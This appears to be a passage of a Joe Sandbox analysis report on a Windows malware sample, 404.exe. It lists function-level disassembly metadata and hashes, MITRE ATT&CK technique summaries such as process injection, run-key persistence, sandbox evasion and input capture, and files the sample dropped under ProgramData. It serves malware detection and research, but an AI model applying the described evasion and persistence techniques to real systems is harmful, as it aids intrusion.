Instruction Fuzzy Hash: 0211A5B0A042428FD750DF18D844F9A73E9AB50314F18057DF489DB281DF36DC51DB62

Function 00DC755D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00DC7568
_strdup.MSVCRT(?), ref: 00DC7582

Strings

--trace-ascii overrides an earlier trace/verbose option, xrefs: 00DC75A3

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: _strdupfree
String ID: --trace-ascii overrides an earlier trace/verbose option
API String ID: 1865132094-2002733778
Opcode ID: 6ab6155ee6610cb24f120c27c968e520993cb1238edf0433858692ecff151e8c
Instruction ID: 116ede3173d4b0fac2345760ccf193d21a6bf64b7d4df1c168ae371db6d3c336
Opcode Fuzzy Hash: 6ab6155ee6610cb24f120c27c968e520993cb1238edf0433858692ecff151e8c
Instruction Fuzzy Hash: F2115A706042029BDB11DF19D885F5AB3E5FB90354F08062CE896A7680CB35EDA1DBA2

Function 00DC6705 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00DC6716
_strdup.MSVCRT(01054582), ref: 00DC672A

Strings

-v, --verbose overrides an earlier trace/verbose option, xrefs: 00DC674C

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: _strdupfree
String ID: -v, --verbose overrides an earlier trace/verbose option
API String ID: 1865132094-440421925
Opcode ID: 5ccfda7a70143fbc59b3254a6d70b290e15f48e0eace53be5c9a391a62ea2efc
Instruction ID: 587f58e07b89f51f7593d1e735f505a6df73ce1d9f7203d4eb4aa70663e679f5
Opcode Fuzzy Hash: 5ccfda7a70143fbc59b3254a6d70b290e15f48e0eace53be5c9a391a62ea2efc
Instruction Fuzzy Hash: 2F11BFB06002069FDB11CF08D944F9AB3E0FB44314F18452DF849976A0DB31EDA1DBA2

Function 00DC74FF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00DC750A
_strdup.MSVCRT(?), ref: 00DC7524

Strings

--trace overrides an earlier trace/verbose option, xrefs: 00DC7540

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: _strdupfree
String ID: --trace overrides an earlier trace/verbose option
API String ID: 1865132094-4096414138
Opcode ID: 18ca516a03bf788ad1ecd779fd776c5600e0ea6a77790bc3607ce9548de292f1
Instruction ID: 6b8caad832dae65033de757019fe78178532422596f90a7da792062602d342e3
Opcode Fuzzy Hash: 18ca516a03bf788ad1ecd779fd776c5600e0ea6a77790bc3607ce9548de292f1
Instruction Fuzzy Hash: C1118E706042079BDB10DF19D845F9AB7F5BF90354F08452CF885A7690CB35EDA1DBA2

Function 00DC6089 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00DC609F
_strdup.MSVCRT(?), ref: 00DC60C0

Strings

a, xrefs: 00DC6089

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: _strdupfree
String ID: a
API String ID: 1865132094-3904355907
Opcode ID: 83195d2a79240eec1e44ec34a1e8ff27cb449eafe9515311122cdc77073cbc21
Instruction ID: 64d80fd97d97cc1028c21a8f6a59128aa90ba223cc60eace1f2fe9368983457e
Opcode Fuzzy Hash: 83195d2a79240eec1e44ec34a1e8ff27cb449eafe9515311122cdc77073cbc21
Instruction Fuzzy Hash: 4011E1B06082428FEB10CF18C484F9A73E4AF90348F18057DE4899B2C0CB36CC92EB62

Function 00DC80DE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00DC80F8
_strdup.MSVCRT(?), ref: 00DC8119

Strings

SRP, xrefs: 00DC81E5

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: _strdupfree
String ID: SRP
API String ID: 1865132094-1918707673
Opcode ID: 0c9c47a9608559316b9b3ba993a4b6e4d64ca87f357e55776f3c669c5a336415
Instruction ID: ad1a965e5e968000e4e7bd1db8d177d6d39f8a348c7cc91d766e39702110480b
Opcode Fuzzy Hash: 0c9c47a9608559316b9b3ba993a4b6e4d64ca87f357e55776f3c669c5a336415
Instruction Fuzzy Hash: 03018FE0B002429BEB50DE24D884FA637989BA0344F18443DE84ADB241EA26D956A7A1

Function 00DC9DE0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00DC9E00

Strings

curl: try 'curl --help' or 'curl --manual' for more information, xrefs: 00DC9E15
curl: , xrefs: 00DC9DFB

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: fwrite
String ID: curl: $curl: try 'curl --help' or 'curl --manual' for more information
API String ID: 3559309478-456511577
Opcode ID: f62cb26bab77fd2d06fd7bad8176d398abbedd503b950fb8f5ee34e7f852aa43
Instruction ID: be8f34c12cc15a5f5df558a7677abfdd5484ac0512fa9a74dbb8c0efc457f7f5
Opcode Fuzzy Hash: f62cb26bab77fd2d06fd7bad8176d398abbedd503b950fb8f5ee34e7f852aa43
Instruction Fuzzy Hash: F5E0D87590421077C120EE55BC06E8FBBADDFD1B50F04041CF88467302E2219614C2B3

Function 00DF4300 Relevance: 5.1, APIs: 4, Instructions: 98stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 00DF435C
strchr.MSVCRT ref: 00DF436D
strlen.MSVCRT ref: 00DF437C

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strchr$strlen
String ID:
API String ID: 842768466-0
Opcode ID: 77041eeaad896c714e7067894d8205186428a91e1670fd96f3a65eb1632f8983
Instruction ID: 3adf72c3dc90affe9619dc5970af0ecd41420593ee219d18e2ac239161195160
Opcode Fuzzy Hash: 77041eeaad896c714e7067894d8205186428a91e1670fd96f3a65eb1632f8983
Instruction Fuzzy Hash: 7E1126E6E8036713FB2016762DD5BBB36CC8F62289F0E4475EED9EB102F616D9044272

Function 00DDEDF0 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00DDEE36
strchr.MSVCRT ref: 00DDEE48
strlen.MSVCRT ref: 00DDEE5B
strncmp.MSVCRT ref: 00DDEE89

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strchrstrcmpstrlenstrncmp
String ID:
API String ID: 1049578524-0
Opcode ID: 51ceae639ff4a2b2c08661c79d6d6a502e839e59b28072d9b829f93f99006620
Instruction ID: 9c42aa41ecb903f52d473466efa40848f678a6a13773aaaa612b1174f462248c
Opcode Fuzzy Hash: 51ceae639ff4a2b2c08661c79d6d6a502e839e59b28072d9b829f93f99006620
Instruction Fuzzy Hash: FE11D6F1604706ABDB30BA678C84A67B7D8AF95744F09412DFD888B305E731E900C7B1

Function 0104C240 Relevance: 5.1, APIs: 4, Instructions: 55sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,00000000,0104C439), ref: 0104C267
EnterCriticalSection.KERNEL32(?,?,?,00000000,0104C439), ref: 0104C298

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: CriticalEnterSectionSleep
String ID:
API String ID: 3080175056-0
Opcode ID: 994701b86bdd093e42d905b50f9f16e92fd28730b594113c6c0ea32f14ec771c
Instruction ID: 20e0d069e87044588b613f4bfb41e10e349190c13383335408c3755231cb2e96
Opcode Fuzzy Hash: 994701b86bdd093e42d905b50f9f16e92fd28730b594113c6c0ea32f14ec771c
Instruction Fuzzy Hash: 171151F14061408BFB68BBBCA7C555ABAE0F705350F050579D89A87608E772D4C4C7A2

Function 00DCE510 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00DCE535
free.MSVCRT ref: 00DCE547
free.MSVCRT ref: 00DCE559
free.MSVCRT ref: 00DCE562

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 63f7efdc8d9b193a621dfa2e9f9ec4736cbad6aa47e5b5c40ff63df73e0662dd
Instruction ID: 3833e197f943724403c4f4560cc2527a1e1169c1f53614b8fd6b3f51dbdf099a
Opcode Fuzzy Hash: 63f7efdc8d9b193a621dfa2e9f9ec4736cbad6aa47e5b5c40ff63df73e0662dd
Instruction Fuzzy Hash: 83F0FEF250060267DB115B51DD80B86F765BFB4324F144A3DD56913210E731F8259B91

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 404.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\WebBrowser.dll (copy)

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\cfg.cmd (copy)

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\dashboard.cmd (copy)

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\dashboard.url (copy)

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Discord.ico (copy)

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Discord.png (copy)

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Facebook Messenger.ico (copy)

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Facebook Messenger.png (copy)

